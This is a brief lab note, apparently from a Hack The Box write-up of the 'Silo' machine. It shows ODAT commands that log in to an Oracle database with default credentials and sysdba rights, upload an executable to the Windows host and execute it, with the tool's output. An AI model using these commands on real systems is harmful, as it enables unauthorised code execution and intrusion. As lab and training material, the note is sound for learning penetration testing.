Oracle

Upload file

~/HTB/tools/db/odat# ./odat.py utlfile -d XE -s 10.10.10.82 -p 1521 -U scott -P tiger --sysdba --putFile c:/ writeup.exe ~/HTB/silo/writeup.exe

[1] (10.10.10.82:1521): Put the /root/HTB/silo/writeup.exe local file in the c:/ folder like writeup.exe on the 10.10.10.82 server
[+] The /root/HTB/silo/writeup.exe file was created on the c:/ directory on the 10.10.10.82 server like the writeup.exe file

Execute file

./odat.py externaltable -d XE -s 10.10.10.82 -p 1521 -U scott -P tiger --sysdba --exec c:/ writeup.exe